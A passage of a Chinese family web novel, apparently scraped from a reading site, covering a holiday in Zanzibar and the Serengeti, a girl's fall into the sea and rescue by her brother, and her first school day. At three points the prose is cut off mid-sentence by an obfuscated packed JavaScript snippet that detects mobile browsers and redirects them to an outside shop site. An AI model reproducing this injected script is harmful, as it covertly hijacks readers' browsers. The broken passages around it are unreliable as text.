两只小手从便签盒子里精挑细选了一张自以为最好看的卡片,摆放在桌子上,抹平一下,又贴心地扭开钢笔的笔盖,把笔塞到一边的大手里。 “你写吧,哥哥,我监督你。你有三个愿望呢,不要少写了,有三个!” 蒋怀谦环住她,把下巴搁在她的头顶,问道:“婧儿有什么愿望呢?” “我吗?你问我吗?”她晃了晃两条腿,望着窗户外面远远可以瞥见的波光粼粼的湖泊,说道:“我想和爸爸妈妈哥哥一起去海边玩,我们放假了,总是要出去玩的,但是我不想去上一次的那个地方,那里人好多。” “那想去哪个海边呢?”蒋怀谦拿过书桌摆柜里的地球仪,带着她一一认识那些地理名词。 蒋婧凝神望着哥哥的手指点到的地方,眼神更加专注,圆圆的眼睛里像是滴了露水一样的清澈明净。 他望在心里,温和一笑。 “这个海怎么样?这个海小小的,看起来很可怜。”她点了点地球仪。 “嗯?” “它都被两个陆地挤住了,好可怜,我们去看看它吧,好不好?” 蒋怀谦抓起她还有些胖嘟嘟的小手,握在手心捏了捏,答应下来:“好啊,那我们就去看看它。” 他用钢笔在卡纸上写下几个力透纸背的字,下笔行如流水、笔锋凌厉。 “其他呢?婧儿还有什么愿望?” 蒋婧:“你写的我的愿望吗?那你的愿望不写了吗?” 他下颌的轮廓早已褪去孩童的圆润,显露出属于少年气质的初具规模的线条。轻抿的嘴角随着她的话露出一丝微扬的弧度,蒋怀谦说道:“我的愿望就是实现婧儿的愿望。” * 收到蒋婧送过来的卡片,程与英一眼就看出来猫腻。 “第一个愿望,想去看看大海。” “第二个愿望,去迪士尼当兔子警官。” “第三个愿望,可以吃很多很多糖果和冰淇淋。” 她朝闺女露出一个了然的表情,说道:“蒋小婧,你的愿望怎么说来说去总是吃甜食和去迪士尼,老没点新意?” “迪士尼隔三差五就去,还玩不够?” “每一天吃一颗糖,三天吃一次冰淇淋,还吃不够?” 蒋婧被妈妈挠着痒痒肉,笑呵呵地躲着,弯起眼睛:“不够不够!” 程与英含笑把她捞进怀里,拍了一下她的小屁股,点开平板继续给儿子挑选礼物。 “这个好看,妈妈,哥哥穿这个好看!”蒋婧注意力已经被平板吸引过去,发表着自己的喜好,点了好几个加入购物车的按钮。 程与英由着她选,又说道:“哥哥什么也不说,妈妈也不知道他到底想要什么,给妈妈愁死了。” “你知道哥哥想要什么吗?”她拍拍女儿,问道。 蒋婧作出思考的样子,也摇摇头:“我也不知道,可能哥哥也想吃糖,也想去迪士尼呢?” “他可和你这个掉进糖眼里的小馋猫不一样。” “那哥哥想要什么?” “妈妈这不是在问你吗?你这个小间谍也不知道,那只能等你向恒哥哥从你二伯那回来,问问他知不知道了。” 她捕捉到新接触的词,眼睛骨碌一转:“小间谍?我?是什么?” 程与英笑笑:“你就是妈妈派去打探哥哥喜好和愿望的小间谍啊,既要得到有效信息,又要神不知鬼不觉、不被哥哥发现,但是你不是失败了嘛,三个愿望净给你写了。” 蒋婧急了:“妈妈,你再给我一次机会!我这次一定能当好小间谍!因为、因为你都没有和我说,我都不知道我是小间谍。我还想当一次小间谍!” “行行行,你简直乐死我了。”程与英亲亲她,说道:“那你去吧,有进展随时告诉妈妈长官。” “包在本婧身上!” * 考虑了多方因素,蒋源最终把度假地点首先定在坦桑尼亚的桑给巴尔岛。他和蒋彬协调出一个假期,决定带孩子们一起出去玩一玩。 行程开始那天,私人飞机夜间出发,凌晨到中东转机,于次日上午抵达桑给巴尔,由专车接送两家人至别墅酒店。 蒋婧夜里在飞机上和双胞胎俩睡一起,三人玩闹到很晚都不消停,此刻趴在爸爸肩膀上睡得昏天倒地。 “小妞儿,快看,这里的海这么漂亮,是不是你想看的?” 她被爸爸温声唤醒,艰难地睁开眼睛,望着一望无际的宛如绿松石般的透明海水,呆滞了好几秒钟,最后还是垂下了脑袋,闭上了眼睛,软乎乎地说道:“好看..但我想等会再看,爸爸,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580145|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道怎么,睁不开眼睛了...” 蒋源轻轻一笑,没再扰她,把她抱到大床上,盖好被子,让她补觉。 这一睡一直到中午才睡足,蒋婧幽幽地安静醒来,看着高高的天花板树屋式房顶,一时有些犯迷糊,自顾自地发了会儿呆。 坐在不远处看书的蒋怀谦心有领会一般及时发现,出声道:“醒了怎么不说话?” 她微微侧头,躺着伸出手臂。 蒋怀谦把她抱起来,带她去参观面积阔大的、具有非洲部落风格的整套大别墅。 “向恒哥哥也和我们一起睡吗?” “嗯。” “那爸爸妈妈呢?” “他们在另一间别墅。” 蒋婧抿抿嘴,自觉是个小侦探,像小猫咪一样轻眯了一下眼睛,说道:“他们肯定又要躲起来偷偷亲亲抱抱!” 蒋怀谦失笑:“你又懂了?” “我当然懂。每次不让我和他们睡,就是因为我在的时候,他们不能亲亲抱!“蒋婧搂着哥哥的脖子,说道:“幸好还有你和我亲亲抱,哥哥,不然爸爸妈妈一起玩了,我和谁玩。” 蒋怀谦笑得心满意足:“嗯,你说的对,幸好还有我们俩可以配对玩。” * 吃完午饭,疲惫的三个大人回房间午休,蒋彬守着孩子们,坐在半露天的深褐色木桌边,一边吹风一边喝着咖啡,不时盯一眼几个娃的动静。 四个男孩各骑一辆自行车,在蜿蜒的长栈道上比赛。 蒋婧和哥哥一组,坐在他的后座上,被颠得屁股有些发疼也快乐得笑声不停。 她抱着蒋怀谦,看着已经拐过弯道、身影变小的其他人,急急地说道:“哥哥,我们是最后了,你快点,我们不要是最后!” 蒋怀谦压根不在意比赛,只是全然享受着带妹妹骑车兜风的自由自在。 “骑太快了,哥哥担心你抱不住,我们就慢慢地骑,看看风景。” “我不要,我想要快快地骑!哥哥!”她拽拽他的衣服。 、 “好,别乱动,抱稳了。”蒋怀谦稍微加速,但仍然保持在一个安全的速度抵达了终点。 蒋熠立马发出耀武扬威的话:“蒋小婧,你和你哥哥是乌龟变的吗,我都骑到终点好久了你们才过来,太慢了!” 蒋怀谦把妹妹从亲子脚踏车的后座抱下来,察觉她不高兴地鼓起了脸,笑着蹲下来摸摸她的脑袋,开解道:“我们不和他们比,我们一起骑自行车的过程不是很开心吗?开心比比赛重要,是不是?” “不是!”蒋婧扒开他的手,还沉浸在胜负欲高涨的情绪中。 蒋怀谦看着被妹妹打下来的手,有很短暂的一瞬间错愕闪过眼底。 蒋婧跑过去央求蒋向恒去和酒店的工作人员再要一辆儿童自行车,蒋向恒犹豫道:“我刚刚就问过了,这里没有辅助轮的儿童自行车,你骑不了的小婧。要不你这轮和我一起。” “不要不要,我要自己骑!我可以骑没有辅助轮的自行车!向恒哥哥你教我,我就会了!” 她双手抓着他的手左右晃,仰头露出洁白无瑕的脸,眸子明亮如星。 蒋婧之前一直不愿意拆掉辅助轮,家里人提了一嘴后也就没再要教。蒋向恒心里觉得此刻再提这是件好事,更何况她这样可可爱爱地撒娇,他还有什么不能答应的。弯腰抱起她,蒋向恒去找酒店管家领了一辆新的自行车。 42.第42章 远处一眼望不到尽头的宁静海面风平浪静,徐徐吹来的海风干燥而舒爽。日照不算太烈,天空蓝的辽远,度假酒店专属私人沙滩的美景,只有身高不一的几个孩子独享着。 蒋怀谦给妹妹穿好护具,扣好头盔,扶着她踩上车。 他和蒋向恒,一个控着后座,一个把着龙头,扶稳自行车的走向,等她找到平衡。 蒋向恒往后退的身体渐渐移到了车子侧边,鼓励地说道:“非常棒,做的很好,就是这样,双手握紧,不让龙头晃。” “我慢慢地松手,有没有信心自己控制龙头?” “有!” 蒋向恒松开手,虚虚待命在一边,见她没有问题,继续扬声夸道:“你是骑自行车的小天才吧,这么快就能学会了,保持走直线,别晃哦。” 这样练了几圈,她已经找到平衡,蒋向恒对牢牢把着车尾的人说道:“老谦,你撒手吧,让她一个人试试。” 蒋怀谦口上倒是答应得好好的,手却一直没放开。 “你咋的啊,放手呗。”蒋向恒好笑地说道。 蒋怀谦尝试松手,手卸力的瞬间,还是不放心地把住了车尾,脸上本来就压眼的眉毛愈发低垂。 “我做不到。” “婧儿,我就扶着你骑,你慢慢地体验一下,骑到前面就停下来。你该补点水了,哥哥带你去喝新鲜的椰子水,好不好?” 蒋婧摇摇头,往后面看了眼又急切地转回去,说道:“哥哥,哥哥!你别抓着我的车尾巴,我要走了!” “你放手呀哥哥!这样我骑不快,我可以自己骑了!” 蒋向恒看不下去了,上手把蒋怀谦拉开,拍拍他:“得了,小家长,别担心了,她真的已经会了,你看,这不骑得挺好的吗?” 蒋婧带着装饰了一棵绿色小树苗的头盔,小树苗随着她不稳的起步左右晃动,片刻后便稳立起来。 她得心应手地踩着踏板往前走,很高兴地说道:“我会骑两个轮子的自行车了!哥哥!” 蒋怀谦不放心,快步走到她身后,亦步亦趋地跟着,嘱咐道:“慢点慢点,刚刚学会,不要太心急。” 被爸爸召唤去拿水的蒋熠蒋澈骑着车过来,前篮里放了几瓶柠檬黄的菠萝果汁。 几个人围成一圈,端着玻璃瓶干杯后,各自喝了起来。 蒋婧咬着吸管,对蒋熠说道:“蒋熠,我已经学会了骑两轮车,你要看吗?” “你有点厉害,你这么一会儿就学会了。” “当然啦,因为我之前经常在家里的花园里骑自行车的。我骑了很久的四个轮子车车,突然骑两个轮子车车,那肯定一下子就会了的嘛,这是很有道理的,你说我说的对不对?” “你说的对。那我们可以一起比赛玩了!” “好!”蒋婧就等着这一刻的到来,她把没喝完的果汁递给蒋怀谦,给出寄语道:“哥哥,你帮我拿一下,等我比完再回来喝。” 蒋怀谦猛地被塞了个差点撒出来的玻璃瓶,接稳的这一小小片当儿,那三个小不点就已经骑上了车准备出发。 他连忙把手里的两个瓶子又一下子塞到了蒋向恒的怀里,上前拖住她的车,严声道:“婧儿,你刚刚学会,不能和他们比赛骑车。” 蒋婧见两个人都已经走出去一段了,心里急的不行,说道:“你快放手啊哥哥!我要来不及了。” “婧儿!” 她使出全身的力气奋力踩了几下,车子艰难地往前行驶了一段,却还是被身后的人用劲控着。 蒋婧一下子就炸了,转头很生气地说道:“哥哥你这样好讨厌,不要拽我的车!” 蒋怀谦愣住,失魂落魄地松开手,看她马上就急冲冲骑出去的小小身影,一时心里面很不是滋味。 蒋向恒噙着抹意味深长的笑看着他,说道:“行了,骑个自行车而已,不会有什么事的。我这一堆瓶子,我去放一下啊,你在这看着。” 他说完,又看了眼前面的三个人影,转身往室内走去。 只沦陷在情绪中刹那,对妹妹的担心还是怂着蒋怀谦小跑着跟了上去。 他在后面不时地提醒道:“慢点!骑慢点!” “婧儿!听到没有?!” “蒋婧!别踩那么快!” “........” 他高仰了头看了眼头顶飞过的海鸟,停下来喘了口气,再一把目光转过去,他的大脑顿时一片空白,周遭仿佛忽然被摁了静音键,连心脏都要在那一刹那骤停——蒋婧就那样在他面前,连车带人地越出栈道,摔进了海里。 蒋怀谦急吼吼地跑过来,旋风一般。然后转眼,不假思索地就跃进了海里。 抓到她的手,蒋怀谦托着背把她捞出来,见她只是被呛了水,疯狂擂鼓的心跳才终于再次被感知。他呼吸紊乱,眉头紧锁,双臂如铁箍般搂着蒋婧,带着她游上岸。 顺着水中攀梯回到栈道,蒋澈和蒋熠速速围了过来。 蒋澈担心又无措,立马把自己的小花衬衫脱了下来,光着膀子给她披上。 “阿婧,你有没有事啊,有没有哪里受伤?” 蒋熠已经哭了起来,话语不清地说道:“蒋小婧,你笨蛋,我、我都要死了刚刚,哇我都是第一次,呜这合理吗,你怎么掉进去的?呜哇!!” “安静。”蒋怀谦沉沉地开口,看了一眼蒋熠。 蒋熠顿时歇了声音。 蒋怀谦轻拍了拍她的背,等她剧烈咳嗽的反应过去,一言不发地抱她起来,疾步回了别墅。 他有条不紊地给她用热温淡水冲洗干净,把人塞进被子里,及时给酒店打了医助电话。 “喝水。”蒋怀谦把温热的水递到她嘴边,看着她落汤小猫一样可怜巴巴地抿了几口。 蒋婧缩在被子里,身体轻微地发颤,眼周因为海水刺激而变得发红,生理性地流出眼泪。 蒋怀谦很轻地沉气一叹,就着被子把她揽到怀里,抚摸着她的背,说道:“没事了,没事了,哥哥在呢,不害怕。” 蒋婧吸吸鼻子,打了个喷嚏,瓮声说道:“我没有害怕,我是会游泳的小孩,我 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他眉头突皱,用手背贴了她的额头试温,问道:“现在还痛不痛?” “现在不痛了。” 她张口还要说话,响起了清脆的门铃声。蒋怀谦去开门,一男一女两个医生过来了,身后正在路上的是大人们。 床被围了一圈,医生检查完,对他们说道:“短暂的落水,现在看来没有对肺部产生影响,后续注意保暖就好。如果出现其他症状,再及时通知我们。” 大人们感谢着送走医生。 程与英给她喂了刚去厨房亲手熬的姜汤,点点她的小鼻子说道:“小倒霉蛋,下次可要小心骑车。你说说你,刚刚学会骑车,要慢一点的嘛,以后可要注意,安全是最重要的。” 蒋婧乖巧地点点头。 常蕙:“还好是怀谦看着,及时救上来了,有个大哥哥在,还是省心些。” 蒋怀谦却是低下了头,对蒋源说道:“对不起爸爸妈妈,我没照顾好妹妹。” 蒋源心中恻之,安抚地拍拍他的肩膀,说道:“又瞎说什么胡话,妹妹自己闯的小糊涂祸,关你这个哥哥的什么事?你已经把妹妹照顾得很好了。要不是你,估计她得吃点更多的小苦头。” “是啊,小谦,妈妈可不准你这么想啊!别搞什么自责愧疚那套,收起那副小表情,开心些,我们出来度假来的,就得高高兴兴的。妹妹没什么事嘛,这事就过去了。还有,你不要给自己多加责任,照顾妹妹不是你的义务,是你的意愿,你想照顾就照顾,不想照顾就别管她,扔给爸爸妈妈来教训,看她下次还敢不敢不听话,不把安全事项当一回事。” 蒋婧鼓起脸蛋,像是终于知道自己做错了,握住了哥哥的手掌,晃了晃,软软地说道:“哥哥,谢谢你救我起来,你不要不高兴~” 蒋怀谦望着她,心里还是软了下来,伸手揉了揉她毛茸茸的头发。 43.第43章 休整了一天,大人们开始安排岛上的游玩行程,带孩子们去参观了香料市场、抓海星、和海龟互动、出海追海豚。 风筝冲浪是蒋向恒和蒋怀谦两个大孩子额外增加的体验项目。他们在庞加尼的浅水泻湖岸边跟着私教学习一天,掌握了如何操控风筝、感受风力,第二天昂首出发尝试冲浪。 蒋婧对行程的理解力总是有限,大部分时间都不明白是要去哪里、干什么,跟着大部队到了哪里,都可以自己找到玩乐的事情。她先是配合妈妈和三伯母拍了好多照片,然后就跟着蒋澈、蒋熠一头扎进了堆沙堡的乐趣里,三个人玩的不亦乐乎。 某个时刻,蒋熠惊讶地指着远处,喊道:“你们快看,他们飞起来了!” 蒋婧扭头,远远看到两个哥哥被风筝带着在水面酷炫地滑行,她哇了一声,哼哧哼哧地跑到了前方站着的爸爸妈妈那里,目不转睛地看着。 蒋怀谦和蒋向恒被风筝强大的风力最后带着灌入了海里,又与对方汇合,有说有笑地一起从海里走到岸边。 大人们关心地询问着感受,蒋向恒甩了甩头发上的水珠,舒畅地说道:“太爽了,好玩!” “小谦呢?好玩不好玩?” 蒋怀谦露齿一笑,颔首:“好玩。” “初次体验能做到这样已经很不错了,接下了让我来给大家展示一下什么叫做真正的实力。”他们结束,程与英潇洒地撩了一下头发,明媚地说道,抱着板子准备进海。 蒋源眸光痴迷地看着妻子,让两个哥哥照看好三个弟弟妹妹,也跟着一起去冲浪。 程与英没有扎起头发,浓密的长卷发在海风的吹拂下飘逸着,她游刃有余地踩在滑板上,在碧蓝的水面上从容滑行,受风力支配的风筝在她手里却好像是玩具一样,轻易地被她掌控。 而蒋源同样可睹见其冲浪的丰富经验,借风势围绕在妻子周围,回旋的动作优雅又利落。 蒋婧坐在沙滩上,反反复复地发出惊叹声,就这样津津有味地看了爸爸妈妈帅气地冲浪、三伯帅气地冲浪、三伯带着不太会的三伯母帅气地冲浪。 再之后蒋熠和蒋澈想要尝试,爸爸和三伯都带着他们去体验了一次。 轮到蒋婧说的时候,爸爸却立马拒绝了:“宝宝,你太小了,不安全,等你大一点再玩。” “那为什么阿熠和阿澈哥哥都可以被你们背在身上去玩?” “哥哥们比你高了一个个头呀,而且他们去年玩过,有经验,不会那么害怕。” “我也不害怕,我也想玩。” 蒋源还是不妥协:“听话,这是一个安全底线的问题,爸爸说不可以就是不可以。” “可是你们所有人都玩了,只有我一个人没有玩过。”她委屈巴巴地跟在爸爸身后,啪嗒啪嗒地掉着眼泪。 蒋源放下冲浪板,蹲下来直视女儿,循循善诱地和她讲道理:“婧儿,玩这个要是忽然掉进水里,你这么小,体重又轻,被拖拽的冲击力很容易伤害到你的脊柱。前天你掉进海里的时候是不是很难受?你还想再来一次?这种掉法可是更难受的。” “况且,不管爸爸身体素质和技术经验有多好,爸爸都不敢拿你的安全冒风险。” 蒋婧眼里蓄着泪,低垂着脑袋,不知道听进去多少。 见她这样,蒋源怜爱不已,越发放软了声音说道:“好了,不难过,把眼泪擦擦,和爸爸抱抱。” 蒋婧照做,掉着泪抱住爸爸的脖子蹭蹭。 爸爸又去找妈妈了,蒋婧回到哥哥们旁边,瘪着嘴失落地坐下,继续堆沙堡。 蒋澈和蒋熠凑过来,问道:“四叔不答应带你玩吗?” “爸爸说我太小了,不可以被风筝玩。”蒋婧拢着沙子,闷闷地说道:“我什么时候能变成大小孩,当小孩我什么都干不了。” * 中午回酒店吃完午餐,蒋婧饱饱地被妈妈哄着睡了一个午觉。 起床之后,爸爸抱着她去到了一处无船只往来的浅水湾,船上泊了一搜轻便的小快艇,快艇上坐着三伯和哥哥。 “爸爸,我们要干什么?” “带宝宝玩简易版风筝冲浪。” 蒋婧被吊起兴趣,一下子张圆了眼睛。 蒋源给她穿上浮力背心,抱着她站上冲浪板,教她抓住牵引绳。 小快艇启动,缓缓地前行,在船尾制造出一道温和的、可供玩耍的尾波。 担心她核心力量不够,蒋源环抱住蒋婧的胸腹部,就站在水里跟着行进着,防止她摔倒水里。 清澈的水流轻轻冲刷她的脚丫,她的身体随着波浪轻微地上下浮动,迎着风,蒋婧乐开怀地笑道:“爸爸,这个好好玩!” 蒋彬单手开着船,转过来说道:“阿婧宝宝,三伯告诉你,早上我们玩那什么风筝冲浪,也就是这个感觉!这下你也知道了,等于你也玩过了风筝冲浪!” “太好了,这下我也知道了!”蒋婧跟着说道,她眉眼弯弯的,俏白的脸蛋因为运动透出两抹淡粉,在阳光下看起来,整个人都奶呼呼的。 就这样溜了好几圈,蒋婧还没玩尽兴,护搂着她的人换成了哥哥。 蒋源上了船休息,看着兄妹俩友爱欢乐的画面,霍然说道:“小谦,你是不是又长个了。” 蒋彬:“看着是,他和向恒两个人,蹿个儿贼快,现在这趋势估计长大了,都得有个一米八好几。” 蒋婧嘴里哼着歌感受浪和风抚过的心旷神怡,听到之后也跟着看了蒋怀谦一眼,说道:“哥哥,你长高了吗?我怎么不觉得呀。” “可能因为你也在长高,所以感觉不到。” “那我以后会长得和你一样高吗?” “你多多吃饭,说不定会。” 她嘟了嘟嘴巴,没有说话。 过了一会儿,蒋婧又朝他看了一眼,说道:“哥哥,你是不是很喜欢冲浪?” “嗯,是还挺喜欢的。” “我当间谍可真厉害!”她洋洋得意地说道:“我今天就发现了,哥哥你冲浪的时候很开心,所以你一定喜欢冲浪,这样的话,以后我和妈妈就可以把带你去冲浪,当做是许给你的愿望。” “间谍?”他对此产生疑问,提问了来龙去脉,得知她和妈妈的计划后,朗俊的眉眼焕出淡淡的温和的笑意。 “我最大的心愿,是希望我们一家人一直这样幸福地生活在一起,每个人都健康平安、快乐无忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582988|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 蒋婧表情忽然变得有些懵懂的乖静,默默地看着他好一会儿。 “那我们明年!每一年!过夏天的时候,都一起来冲浪,好不好哥哥?” “不是说讨厌我吗,还要和我一起来吗。”蒋怀谦把目光移至一侧,掩饰什么似的说道。 蒋婧向他投来疑惑的一瞥,语气里染上解释的急切:“我什么时候说过讨厌你了哥哥?” “看前面,抓稳。”他把她的脑袋扭回去,揶揄道:“你的记忆就像鱼一样薄淡。” 见他们在聊天,同样在和四弟说话的蒋彬把快艇的速递又降下来了些,让它慢悠悠地行进。 “有一就有二三,那我剩下的两个愿望,婧儿也要帮我实现。” 蒋婧漂在板上,往后仰了仰,问道:“是什么愿望?我肯定会帮你实现的,哥哥。” “希望婧儿永远注意安全,不做危险的事。” “希望婧儿....可以永远不讨厌我。” 蒋婧“啊?”了一声,不明白为什么有人许愿望会不要什么礼物和奖励,只是要一个人好、要一个人不讨厌自己。 不过她还是答应了下来,妙语连珠地说道:“哥哥,我才不会讨厌你,你是我最亲、最好、最最喜欢的哥哥!世界上谁都可以讨厌你,但是我不可以的。所以最后一个愿望,你不用许就已经实现啦!” 蒋怀谦听了她的话,望着她欢欣愉快的样子,梗在心底里的砂砾奇怪地轻易化作烟云消散。 “嗯,希望如此。” 以为她说话的公信力不够,蒋婧又迫切地补充道:“等我们回到岸上,我和你拉钩哥哥!我永远不骗你!” * 足足玩了一个小时,蒋婧才终于玩得心满意足,答应回去。 程与英戴着墨镜,撑着阳伞站在岸边看着,用手机记录下来他们游玩的视频。等他们结束,张开手臂接住跑过来的闺女。 “怎么样?玩得开心吗?” “开心!” “现在还心里委屈早上没玩上吗?” 她喝了一口水,细嫩得连绒毛都能清晰可见的脸颊红扑扑的,说道:“不委屈了,妈妈。虽然我不能玩‘被风筝玩的冲浪’,但是爸爸和三伯带我玩了小孩能玩的‘被小船玩的冲浪’” “其实冲浪都是一样的,对不对?妈妈。”她忽然又说道。 “重要的是爸爸、三伯,还有哥哥,都陪我一起玩。” “其实做小孩也挺好的,因为我是小孩才能玩小船冲浪。” 程与英没想到她会说出这样的话,心里油然升出一种欣慰又新奇的感受,她给女儿用婴儿湿巾擦擦汗,夸奖道:“你能这样想,说明你是一个知道感恩的宝宝,妈妈都觉得特别高兴。” 本来就没脾气的蒋婧被夸得愈发没有脾气,黏黏糊糊地抱住妈妈,更加坚定了要表达自己情绪的感受。 “妈妈,我等一下就会去找爸爸、三伯,还有哥哥说,‘我对你们有好多好多谢谢,好多好多爱!’” “那妈妈呢?” “我也对妈妈有好多好多谢谢,好多好多爱!” 程与英温婉地笑了起来,眼里闪过触动的光亮。 44.第44章 在岛上呆了一周,他们又启程出发至塞伦盖蒂中部的野奢营地酒店,四周便是由于水分缺失而显得苍茫崇远的大草原。 这是蒋婧有史以来最记忆深刻的一次旅行,他们乘坐着越野车,在经验丰富的向导和追踪员带领下,迎着风沙和烈日,看到了在河边饮水甩着鼻子的大象、比大树还高的长颈鹿低头吃叶子、慵懒趴在砂岩上休憩的小幼豹、忧郁地独自站了很久不动的鸵鸟、汹汹过河的一群斑马…… 三伯年轻时是个摄影迷,没少跑到世界各地去采生,拍摄的作品多次被国家地理杂志邀约使用。不是首次来到这里,游猎途中没有遇到动物的时候,他就给孩子们讲述自己往年惊心动魄的冒险经历,或是教他们如何使用相机拍摄。 蒋婧被分到了一个机身小巧的微单,每天都挂在脖子上,沉迷于摄影的创作欲之中,动不动就举着小相机到处咔嚓咔嚓,像集邮一样给遇到的每一个小动物都拍了照片。 假装专业、萌态十足的姿态老逗得程与英发笑,反向记录起女儿拍照的样子。 后来蒋彬把小侄女的作品洗印出来,挑选了一些很有“小孩视角看世界”的灵气之作送投,斩获了几个儿童摄影大赛的奖项。程与英则帮助女儿做了自己的旅行手账本,把难忘的回忆剪贴下来,排版布局,让妈妈给自己写文字。 只有一件事给她留下了拒绝保存的回忆,那就是在最后一天他们体验了草原热气球后,乘坐越野车回酒店的路上,遇到了一只可怕的正在横穿道路的非洲蟒蛇。 还是蒋婧眼睛尖锐率先发现,出声惊呼,向导们才连忙停下车等它过去。 第一次看到蛇,蒋婧生理性地发抖害怕,躲在爸爸怀里哭了很久都没能忘掉。 后来回到北城的很多天里,她在晚上睡觉时还是会做噩梦,梦到那条恐怖的大蟒蛇。 她夜里猛然惊醒的时候,蒋怀谦都会及时发现,立刻抱紧她。纵然自己也困倦,却已经下意识地强行清醒安抚:“没事的,哥哥知道那条大蛇在梦里吓到你了,但是梦已经结束了,它完全消失了,哥哥在这里保护你呢。” 蒋向恒则是试图扭转蛇的恐怖形象,说道:“哎呀,又梦到那个‘笨笨蛇’啦?它是不是在梦里走路都摔跤啊?这条“笨笨蛇”其实不坏的,你不用怕它。” 蒋婧回想起当时看到因为车灯而张开血盆大口的蟒蛇,抗拒地摇摇脑袋。 “它怎么会不坏,它都有那么尖的牙齿,而且长得又丑又凶。” 蒋向恒没忍住想笑,见蒋怀谦瞪过来,顺势转变话语:“没错,它就是一条坏坏蛇,又丑又凶。” “你别怕,你向恒哥哥我很厉害的,我一拳就能把蛇打趴下,你不用害怕。” 全家人做了很多工作帮助她不再做梦,程与英反复带她翻看旅途中其他美好的照片,蒋源在睡前又是点香薰又是放轻柔音乐又是调节暖光灯的,势必要给闺女营造一个温暖安全的入睡氛围。夜里要是被吓醒了,两个哥哥上阵一起哄,蒋婧这才随着时间的移动,渐渐淡忘了这个形象。 * 又是一年入学季,九月的第一天,蒋婧背着新书包,被爸爸牵着小手到小学里报道。 城东小学是名声显赫的学校,历史悠久不说,教学成绩有目共睹,是家长心里最热门的小学选项之一。 中西合璧的校园环境优美宁静,由一幢幢色彩沉稳的灰色砖石建筑组成,教室外的窗户宽敞,从外看进去,教室里放着整齐舒适的课桌。 蒋婧眼睛好奇地打量着,都是不认识的人和不认识的地方,问道:“爸爸,我们来这里做什么?” 蒋源:“怎么又问起来了,今天是你上小学的第一天呀,你忘了,之前我们不是来过一次这个学校了吗?” “那我以后就要在这个新学校里上幼儿园了吗?” “不是幼儿园,宝宝,是小学了。” “这个小学为什么没有滑滑梯和跷跷板?” 蒋源开始担心起女儿能不能适应,带着她到了班级门口,指着教室牌说道:“婧儿,这就是你的教室,一年级一班。你看,这一个就是你的新老师。” 门口一个戴着黑框眼镜的女老师笑容满面地和她打招呼:“你好啊,新同学,你叫什么名字?” 蒋婧向爸爸的方向挪了一小步,依赖地把目光投过来,避开提问。 蒋源任由女儿躲进怀里,抱歉地朝老师点点头,念出她的名字,方便老师在签到表上打钩。 “好的,蒋婧是吧?你自己进去先找一个位置坐好吧。” “我不要...”蒋婧听到这就开始哭了,蒋源连忙抱起她,暂时远离聚集在一起报道的人群,走到了教学楼前的花圃前,耐心地哄着她。 “这样,爸爸就在这站着等你上课结束,好不好?” “你看,蒋熠蒋澈两个哥哥过来了,他们都没哭,你哭了是不是很没面子?” 那边蒋彬带着两个孩子过来,一起哄了哄,才让蒋婧情绪稳定下来。 “不哭了,宝宝,你已经是一年级的小学生了,不是幼儿园的小朋友了,上学这件事你还不熟悉吗。” “我熟。”她抽噎着回答道。 “可是这个地方都是新的地方,我害怕。” 蒋澈握住妹妹的手:“阿婧,我和阿熠都在,你不用害怕。” “对啊,两个哥哥在呢,都是熟人,没什么害怕,在这里,你还能交到更多的好朋友呢。”蒋彬说道。 达成了乖乖去教室里上学的约定后,蒋婧一左一右被蒋澈蒋熠牵着,三步一回头地看看爸爸和三伯。 两个大男人在原地默契地沉默着站了许久,相视一看,皆是一个怅然若失的大叹气。 “送阿婧宝宝上学,心里还怪难受的。” “是啊,我是又怕她哭,又怕她不哭,很奇特的心理。总担心有一天她不需要我这个爸爸了。” 蒋彬看过来,拍拍弟弟的肩膀。 “三哥,你先回吧,我就在这等一早上,观察观察。我怕她不适应。” * 教室里,每个课桌都放了一个学校文创袋和一摞用丝带绑起来的崭新教科书,课桌的左上角还插了带了笑脸模样的向日葵手持气球,远远望去,好像一丛丛黄绿交接的小苗圃。 蒋婧很快被吸引了注意力,坐下来去翻看袋子里的东西,有新生寄语、书写用具、校牌和笔记本。 “阿澈哥哥,有好多小礼物,你看!” 她一一拿出来看过,情绪已经转变成了愉快的状态,扭头一看,双胞胎两个人却扭打了起来。 “你们怎么打架了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589866|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你别管!” “你别问!” 他俩推搡着,谁也不让谁,蒋熠伸腿把屁股凑过来,蒋澈阻挡及时,两个人挤在一个椅子上,都用着力气要把对方推开。 “我是哥哥,我和她坐才能照顾她!” “我先选的这个位置,我要坐!” “蒋婧,你说,你要谁陪你坐?”蒋熠扭头把问题抛给她。 蒋婧这才恍然发现是两张桌子并在一起的,她说道:“那我们再把一个桌子搬过来就好了呀!” 